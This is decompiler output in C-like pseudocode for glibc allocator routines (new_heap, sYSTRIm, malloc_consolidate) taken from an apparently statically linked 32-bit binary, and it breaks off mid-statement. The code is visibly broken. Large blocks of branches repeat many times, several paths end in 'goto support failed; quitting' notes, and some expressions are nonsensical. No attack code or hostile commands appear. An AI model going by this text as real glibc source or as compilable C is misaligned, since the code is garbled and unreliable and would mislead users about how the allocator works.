*(int32_t *)(g98 + 16) = v4; *(int32_t *)(g98 + 12) = v4; *(int32_t *)(g98 + 4) = v4; if (result != 0) { // 0x80b257b *(int32_t *)(g98 + 20) = result; *(int32_t *)(g98 + 24) = v5; *(int32_t *)(g98 + 8) = result; *(int32_t *)(g98 + 152) = 0; g101 = (int32_t)v7; g102 = (int32_t)v1; return result; } // 0x80b25bb *(int32_t *)(g98 + 20) = v4; *(int32_t *)(g98 + 24) = v4; *(int32_t *)(g98 + 8) = v5; *(int32_t *)(g98 + 152) = 0; g101 = (int32_t)v7; g102 = (int32_t)v1; return result; } int32_t v8 = v4 + a3; // 0x80b2553 int32_t * v9; // 0x80b25a0_0 if (v4 < v8) { // 0x80b259c v5 = v8; v1 = NULL; v9 = (int32_t *)v8; _IO_setb((struct struct_128 *)a1, a2, v9, (struct struct_128 *)g2, (int32_t *)g100); *(int32_t *)(g98 + 16) = v4; *(int32_t *)(g98 + 12) = v4; *(int32_t *)(g98 + 4) = v4; if (result != 0) { // 0x80b257b *(int32_t *)(g98 + 20) = result; *(int32_t *)(g98 + 24) = v5; *(int32_t *)(g98 + 8) = result; *(int32_t *)(g98 + 152) = 0; g101 = (int32_t)v9; g102 = (int32_t)v1; return result; } } else { // 0x80b2553 v6 = -1; // branch -> 0x80b255e // 0x80b255e v7 = (int32_t *)g101; v5 = v6; _IO_setb((struct struct_128 *)v3, (int32_t *)v4, (int32_t *)v6, (struct struct_128 *)g2, (int32_t *)v2); *(int32_t *)(g98 + 16) = v4; *(int32_t *)(g98 + 12) = v4; *(int32_t *)(g98 + 4) = v4; if (result != 0) { // 0x80b257b *(int32_t *)(g98 + 20) = result; *(int32_t *)(g98 + 24) = v5; *(int32_t *)(g98 + 8) = result; *(int32_t *)(g98 + 152) = 0; g101 = (int32_t)v7; g102 = (int32_t)v1; return result; } v9 = v7; } // 0x80b25bb *(int32_t *)(g98 + 20) = v4; *(int32_t *)(g98 + 24) = v4; *(int32_t *)(g98 + 8) = v5; *(int32_t *)(g98 + 152) = 0; g101 = (int32_t)v9; g102 = (int32_t)v1; return result; } // Address range: 0x80b2bcc - 0x80b2d23 int32_t new_heap(int32_t a1, int32_t * a2) { int32_t * v1 = (int32_t *)g101; // 0x80b2bd0_0 int32_t v2 = getpagesize(); // 0x80b2bd6 int32_t v3 = -v2; int32_t v4 = v2 - 1; // 0x80b2bdb uint32_t v5 = g97 + g95; // 0x80b2bdc struct struct_18 * v6; // 0x80b2cfa_3 int32_t v7; // 0x80b2c11 struct struct_18 * v8; // 0x80b2c11_5 int32_t v9; // 0x80b2c73 int32_t v10; // 0x80b2c7b_0 int32_t * v11; // 0x80b2ca6_0 int32_t * v12; // 0x80b2ce1_34 int32_t v13; int32_t * v14; // 0x80b2c11 int32_t * v15; // 0x80b2c73 int32_t * v16; // 0x80b2cfa int32_t v17; // 0x80b2ca3 int32_t v18; // 0x80b2c8e int32_t v19; // 0x80b2ca6 int32_t * v20; // 0x80b2d191 int32_t * v21; // 0x80b2d192 int32_t v22; // 0x80b2bf7 int32_t * v23; // 0x80b2d21_05 int32_t v24; // 0x80b2d228 int32_t v25; // 0x80b2d229 int32_t v26; // 0x80b2c86 int32_t v27; // 0x80b2c92 if (v5 > 0x7fff) { // 0x80b2cb0 if (v5 < 0x100001) { // 0x80b2bf0 v13 = v4 + v5 & v3; v22 = g66; if (v22 == 0) { // 0x80b2bf0 v6 = g2; // branch -> 0x80b2c61 } else { // 0x80b2c00 v8 = g2; v7 = (int32_t)v8; v14 = mmap((int32_t *)v22, 0x100000, v7, 0x4022, -1, v7); g66 = 0; if (v14 != (int32_t *)-1) { // 0x80b2c2a if (v14 == (int32_t *)0xfffff) { v25 = g102; v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v25; v23 = v1; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c54 munmap(v14, 0x100000); v6 = v8; // branch -> 0x80b2c61 // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 v24 = 0; v23 = (int32_t *)-1; v12 = NULL; // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)(int32_t *)-1; g102 = 0; return (int32_t)v21; } v20 = v21; } // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e v17 = 0x100000 - v18; v11 = (int32_t *)v19; munmap(v11, v17); v21 = (int32_t *)v26; // branch -> 0x80b2c31 // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v17; v23 = v11; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } v6 = v8; } // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 v24 = 0; v23 = (int32_t *)-1; v12 = NULL; // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)(int32_t *)-1; g102 = 0; return (int32_t)v21; } v20 = v21; } // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e v17 = 0x100000 - v18; v11 = (int32_t *)v19; munmap(v11, v17); v21 = (int32_t *)v26; // branch -> 0x80b2c31 // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v17; v23 = v11; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } int32_t v28 = g102; // 0x80b2d2210 if (g95 > 0x100000) { // 0x80b2ce1 // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)v1; g102 = v28; return (int32_t)NULL; } // 0x80b2cc4 // branch -> 0x80b2bf0 // 0x80b2bf0 v13 = v4 + 0x100000 & v3; v22 = g66; if (v22 == 0) { // 0x80b2bf0 v6 = g2; // branch -> 0x80b2c61 } else { // 0x80b2c00 v8 = g2; v7 = (int32_t)v8; v14 = mmap((int32_t *)v22, 0x100000, v7, 0x4022, -1, v7); g66 = 0; if (v14 != (int32_t *)-1) { // 0x80b2c2a if (v14 == (int32_t *)0xfffff) { v25 = g102; v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v25; v23 = v1; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c54 munmap(v14, 0x100000); v6 = v8; // branch -> 0x80b2c61 // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 v24 = 0; v23 = (int32_t *)-1; v12 = NULL; // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)(int32_t *)-1; g102 = 0; return (int32_t)v21; } v20 = v21; } // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e v17 = 0x100000 - v18; v11 = (int32_t *)v19; munmap(v11, v17); v21 = (int32_t *)v26; // branch -> 0x80b2c31 // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v17; v23 = v11; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } v6 = v8; } // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 v24 = 0; v23 = (int32_t *)-1; v12 = NULL; // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)(int32_t *)-1; g102 = 0; return (int32_t)v21; } v20 = v21; } // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e v17 = 0x100000 - v18; v11 = (int32_t *)v19; munmap(v11, v17); v21 = (int32_t *)v26; // branch -> 0x80b2c31 // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v17; v23 = v11; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2beb // branch -> 0x80b2bf0 // 0x80b2bf0 v13 = v4 + 0x8000 & v3; v22 = g66; if (v22 != 0) { // 0x80b2c00 v8 = g2; v7 = (int32_t)v8; v14 = mmap((int32_t *)v22, 0x100000, v7, 0x4022, -1, v7); g66 = 0; if (v14 == (int32_t *)-1) { v6 = v8; // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 v24 = 0; v23 = (int32_t *)-1; v12 = NULL; // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)(int32_t *)-1; g102 = 0; return (int32_t)v21; } v20 = v21; } // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e v17 = 0x100000 - v18; v11 = (int32_t *)v19; munmap(v11, v17); v21 = (int32_t *)v26; // branch -> 0x80b2c31 // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v17; v23 = v11; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c2a if (v14 == (int32_t *)0xfffff) { v25 = g102; v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v25; v23 = v1; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c54 munmap(v14, 0x100000); v6 = v8; // branch -> 0x80b2c61 // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 v24 = 0; v23 = (int32_t *)-1; v12 = NULL; // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // 0x80b2c4a g101 = (int32_t)(int32_t *)-1; g102 = 0; return (int32_t)v21; } v20 = v21; } // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e v17 = 0x100000 - v18; v11 = (int32_t *)v19; munmap(v11, v17); v21 = (int32_t *)v26; // branch -> 0x80b2c31 // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; v24 = v17; v23 = v11; v12 = v21; // branch -> 0x80b2c4a } else { v20 = v21; // 0x80b2d14 munmap(v20, 0x100000); v24 = 0x100000; v23 = v20; // branch -> 0x80b2c4a } // 0x80b2c4a g101 = (int32_t)v23; g102 = v24; return (int32_t)v12; } // 0x80b2bf0 v6 = g2; // branch -> 0x80b2c61 // 0x80b2c61 v9 = (int32_t)v6; v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9); v10 = (int32_t)v15; if (v15 == (int32_t *)-1) { // 0x80b2ce8 v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9); if (v16 == (int32_t *)-1) { // 0x80b2ce1 // branch -> 0x80b2c4a } else { // 0x80b2d09 v20 = v16; if (v16 == (int32_t *)0xfffff) { v21 = (int32_t *)0xfffff; // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a // Detected a possible infinite recursion (goto support failed); quitting... } else { v20 = v21; } } // 0x80b2d14 munmap(v20, 0x100000); // branch -> 0x80b2c4a } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b2c80 v26 = v10 + 0xfffff & -0x100000; v18 = v26 - v10; if (v26 == v10) { // 0x80b2c92 v27 = v10 + 0x100000; g66 = v27; v19 = v27; // branch -> 0x80b2c9e } else { // 0x80b2cd0 munmap(v15, v18); v19 = v26 + 0x100000; // branch -> 0x80b2c9e } // 0x80b2c9e munmap((int32_t *)v19, 0x100000 - v18); v21 = (int32_t *)v26; // branch -> 0x80b2c31 } // 0x80b2c31 if (mprotect(v21, v13, 3) == 0) { // 0x80b2c45 *(int32_t *)((int32_t)v21 + 8) = v13; // branch -> 0x80b2c4a } else { // 0x80b2d14 munmap(v21, 0x100000); // branch -> 0x80b2c4a } // Detected a possible infinite recursion (goto support failed); quitting... } // Address range: 0x80b2f10 - 0x80b2fa3 int32_t sYSTRIm(int32_t a1, int32_t * a2, char * a3) { int32_t v1 = g97; // 0x80b2f17 int32_t v2 = g76; // 0x80b2f1a g96 = v2; int32_t * v3 = (int32_t *)(v1 + 48); // 0x80b2f20_0 int32_t v4 = *(int32_t *)(*v3 + 4) & -8; // 0x80b2f26 g101 = v4; int32_t v5 = ((v2 - 17 + v4 - g95) / v2 - 1) * v2; // 0x80b2f38 if (v5 >= 1) { struct struct_18 * v6 = g2; // 0x80b2f41_3 int32_t * v7 = __default_morecore(&v6->e0); // 0x80b2f41 int32_t v8 = (int32_t)v7; // 0x80b2f41_4 if (v8 == g101 + *v3) { int32_t v9 = -v5; // 0x80b2f60 __default_morecore((int32_t *)v9); int32_t v10 = g65; // 0x80b2f69 g95 = v10; g98 = v9; g1 = false; g103 = v10 == 0; if (v10 != 0) { // 0x80b2f73 ((int32_t (*)())v10)(); // branch -> 0x80b2f75 } int32_t * v11 = __default_morecore(&v6->e0); // 0x80b2f77 if (v11 == NULL) { // 0x80b2f56 // branch -> 0x80b2f58 // 0x80b2f58 return 0; } int32_t v12 = v8 - (int32_t)v11; // 0x80b2f84 if (v7 == v11) { // 0x80b2f56 // branch -> 0x80b2f58 // 0x80b2f58 return 0; } int32_t * v13 = (int32_t *)(v1 + 1100); // 0x80b2f8b_0 *v13 = *v13 - v12; *(int32_t *)(*(int32_t *)(v1 + 48) + 4) = g101 - v12 | 1; // branch -> 0x80b2f58 // 0x80b2f58 return 1; } } // 0x80b2f56 // branch -> 0x80b2f58 // 0x80b2f58 return 0; } // Address range: 0x80b34f8 - 0x80b37ef int32_t malloc_consolidate(int32_t a1, int32_t * a2) { int32_t v1 = g100; // 0x80b34f8 int32_t v2 = g102; // 0x80b34fb int32_t (*v3)(char *, int32_t *) = (int32_t (*)(char *, int32_t *))v2; // 0x80b34fb_0 struct struct_59 * v4 = (struct struct_59 *)g101; // bp-12 int32_t v5 = g98; // 0x80b34fd int32_t * v6 = (int32_t *)v5; // 0x80b34fd_0 int32_t v7 = g95; // 0x80b3501 int32_t * v8 = (int32_t *)(v7 + 4); // 0x80b3504_0 int32_t v9 = *v8; // 0x80b3504 int32_t v10 = v9; int32_t v11; if (v9 == 0) { int32_t v12 = v7 + 56; // 0x80b3798 v11 = v12; int32_t v13 = v12; // 0x80b37a0 *(int32_t *)(v13 + 12) = v13; int32_t v14 = v11; // 0x80b37a3 *(int32_t *)(v14 + 8) = v14; int32_t v15 = 2; // 0x80b37a6 int32_t v16 = v11 + 8; // 0x80b37a7 v11 = v16; // branch -> 0x80b37a0 while (v15 != 128) { // 0x80b37a0 v13 = v16; *(int32_t *)(v13 + 12) = v13; v14 = v11; *(int32_t *)(v14 + 8) = v14; v15++; v16 = v11 + 8; v11 = v16; // continue -> 0x80b37a0 } // 0x80b37b2 int32_t result; if (v7 != 0x8139c40) { // 0x80b37bb v10 = 2; *v8 = 2; result = v7; // branch -> 0x80b37cc } else { result = 0x8139c40; } // 0x80b37cc *(int32_t *)(result + 4) = v10 & 2 | 73; *(int32_t *)(result + 48) = v12; g98 = v5; g101 = (int32_t)v4; g102 = v2; g100 = v1; return result; } int32_t v17 = v9 | 1; // 0x80b350f *v8 = v17; int32_t v18 = g95; // 0x80b3515 int32_t v19 = v18 + 56; // 0x80b3515 int32_t v20 = v7 + 8; // 0x80b351e int32_t * v21 = (int32_t *)v20; // 0x80b3521_0 int32_t * v22 = v21; // bp-52 int32_t * v23 = (int32_t *)(4 * v17 / 8 + v7); // 0x80b352b_0 int32_t v24 = *v21; // 0x80b3530 g98 = v24; int32_t (*v25)(char *, int32_t *); int32_t v26; // 0x80b3687 int32_t * v27; // 0x80b3583_0 int32_t * v28; // 0x80b360f_0 int32_t * v29; // bp+024 int32_t v30; // 0x80b35d5 int32_t * v31; // 0x80b37db_09 if (v24 == 0) { int32_t * v32 = a2; // bp+026 int32_t (*v33)(char *, int32_t *) = v3; int32_t * v34 = v6; // bp+011 lab_0xff6f570:; int32_t * v35 = (int32_t *)(v20 + 4); // 0x80b3667_3 if (*v21 == *v23) { // 0x80b3672 g98 = (int32_t)v34; g101 = (int32_t)v4; g102 = (int32_t)v33; g100 = v1; return (int32_t)v35; } int32_t * v36 = v23; int32_t * v37 = v32; // bp+027 int32_t (*v38)(char *, int32_t *) = v33; int32_t * v39 = v34; // bp+012 lab_0x748bd20: // 0x80b3656 v22 = v35; int32_t v40 = (int32_t)v35; // 0x80b3659 int32_t v41 = *v35; // 0x80b365b g98 = v41; if (v41 == 0) { v21 = v35; v23 = v36; v20 = v40; v32 = v37; v33 = v38; v34 = v39; goto lab_0xff6f570; } // 0x80b353a v35[v7] = 0; v26 = (int32_t)g2; v28 = (int32_t *)(v7 + 48); v27 = (int32_t *)(v18 + 64); v30 = g98; v29 = v37; v25 = v38; v31 = v39; // branch -> 0x80b35af lab_0x11394260:; int32_t (*v42)(char *, int32_t *); int32_t * v43; // 0x80b364b_3 int32_t * v44; // bp+028 int32_t * v45; // bp-48 int32_t * v46; // bp+014 while (true) { int32_t v47 = *(int32_t *)(v30 + 8); // 0x80b35af int32_t v48 = *(int32_t *)(v30 + 4); // 0x80b35b5 int32_t v49 = v48 & -6; // 0x80b35ba int32_t v50 = v49 + v30; // 0x80b35c0 g101 = v50; int32_t v51 = *(int32_t *)(v50 + 4) & -8; // 0x80b35c6 int32_t * v52 = v29; // bp+030 _int_free = v25; int32_t * v53 = v31; // 0x80b37db_08 int32_t v54 = v49; // 0x80b362b6 int32_t v55; // 0x80b360f if (v48 == 1) { int32_t v56 = *(int32_t *)v30; // 0x80b35d0 int32_t v57 = v56 + v49; // 0x80b35d2 int32_t v58 = v30 - v56; // 0x80b35d5 g98 = v58; int32_t v59 = *(int32_t *)(v58 + 8); // 0x80b35d7 v11 = v59; int32_t v60 = *(int32_t *)(v58 + 12); // 0x80b35da g97 = v60; int32_t * v61 = (int32_t *)(v59 + 12); // 0x80b35dd_0 if (v58 == *v61) { // 0x80b3727 if (v58 == (int32_t)v29) { // 0x80b3730 *v61 = v60; v52 = (int32_t *)v11; _int_free = v25; v53 = v31; v54 = v57; // branch -> 0x80b360c lab_0x7494d10: // 0x80b360c v55 = g101; if (v55 == *v28) { lab_0x7495ce0: // 0x80b362b *(int32_t *)(g98 + 4) = v54 + v51 | 1; *v28 = g98; g98 = v47; if (v47 == 0) { v44 = v52; v42 = _int_free; v46 = v53; // break -> 0x80b3648 break; } v30 = v47; v29 = v52; v25 = _int_free; v31 = v53; // continue -> 0x80b35af continue; } else { lab_0x11394380:; // 0x80b3614 int32_t (*v62)(char *, int32_t *); int32_t * v63; // bp+029 int32_t v64; int32_t * v65; // bp+015 int32_t v66; // 0x80b362b7 if (*(char *)(v55 + (v51 || 4)) == 1) { int32_t v67 = v54 + v51; // 0x80b3544 int32_t v68 = *(int32_t *)(v55 + 8); // 0x80b3547 v11 = v68; int32_t v69 = *(int32_t *)(v55 + 12); // 0x80b354a g97 = v69; int32_t * v70 = (int32_t *)(v68 + 12); // 0x80b354d_0 if (v55 == *v70) { // 0x80b373c if (v55 == (int32_t)v52) { // 0x80b3745 *v70 = v69; v63 = (int32_t *)v11; v62 = _int_free; v65 = v53; v66 = v67; // branch -> 0x80b3580 lab_0x749abd0: // 0x80b3580 v64 = *v27; *v27 = g98; *(int32_t *)(v64 + 12) = g98; *(int32_t *)(g98 + 4) = v66 | 1; *(int32_t *)(g98 + 12) = v19; *(int32_t *)(g98 + 8) = v64; *(int32_t *)(g98 + v66) = v66; g98 = v47; if (v47 == 0) { v44 = v63; v42 = v62; v46 = v65; // break -> 0x80b3648 break; } v30 = v47; v29 = v63; v25 = v62; v31 = v65; // continue -> 0x80b35af continue; } } int32_t v71 = g21; // 0x80b3556 g102 = v71; int32_t v72 = v71 & 5; // 0x80b355e g95 = v72; if (v72 == 5) { // 0x80b376b v4 = (struct struct_59 *)"%s\n"; int32_t v73 = v71 & 2; // 0x80b3775 g102 = v73; int32_t * v74 = (int32_t *)v73; // 0x80b3778_0 __libc_message(v74, (struct struct_59 *)"%s\n"); v63 = v52; v62 = (int32_t (*)(char *, int32_t *))"corrupted double-linked list"; v65 = v74; v66 = v67; // branch -> 0x80b3580 goto lab_0x749abd0; } else { // 0x80b356a if (v71 == 1) { // 0x80b37ef g102 = 0; abort(); // UNREACHABLE } int32_t v75 = _itoa_word(v55, v26, 16, v26, v1); // 0x80b36dc g97 = v75; uint32_t v76 = g95; // 0x80b36e9 int32_t v77 = v75; // 0x80b370a if (v76 < v75) { uint32_t v78 = -1 * v75; uint32_t v79 = -1 - v76; int32_t v80 = -1 - (v78 > v79 ? v78 : v79); g97 = v80; v77 = v80; // branch -> 0x80b36fb } int32_t v81 = *(int32_t *)g93; // 0x80b3700 int32_t v82 = v81; // 0x80b3710 if (v81 == 0) { // 0x80b37e0 v82 = 0x810918f; // branch -> 0x80b370a } // 0x80b370a v4 = (struct struct_59 *)"corrupted double-linked list"; int32_t v83 = g102 & 2; // 0x80b3716 g102 = v83; __libc_message((int32_t *)v83, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); v63 = v52; v62 = (int32_t (*)(char *, int32_t *))v77; v65 = (int32_t *)v82; v66 = v67; // branch -> 0x80b3580 goto lab_0x749abd0; } lab_0x74a7a10: // 0x80b3580 v64 = *v27; *v27 = g98; *(int32_t *)(v64 + 12) = g98; *(int32_t *)(g98 + 4) = v66 | 1; *(int32_t *)(g98 + 12) = v19; *(int32_t *)(g98 + 8) = v64; *(int32_t *)(g98 + v66) = v66; g98 = v47; if (v47 == 0) { v44 = v63; v42 = v62; v46 = v65; // break -> 0x80b3648 break; } v30 = v47; v29 = v63; v25 = v62; v31 = v65; // continue -> 0x80b35af continue; } else { int32_t * v84 = (int32_t *)(v55 + 4); // 0x80b3622_0 *v84 = *v84 & -2; v63 = v52; v62 = _int_free; v65 = v53; v66 = v54; // branch -> 0x80b3580 goto lab_0x74a7a10; } int32_t v85 = *v27; // 0x80b3583 v64 = v85; int32_t v86 = g98; // 0x80b3586 *v27 = v86; int32_t v87 = v64; // 0x80b3589 int32_t v88 = g98; // 0x80b3589 *(int32_t *)(v87 + 12) = v88; int32_t v89 = g98; // 0x80b3592 *(int32_t *)(v89 + 4) = v66 | 1; int32_t v90 = g98; // 0x80b3598 *(int32_t *)(v90 + 12) = v19; int32_t v91 = g98; // 0x80b359b int32_t v92 = v64; // 0x80b359b *(int32_t *)(v91 + 8) = v92; int32_t v93 = g98; // 0x80b35a1 *(int32_t 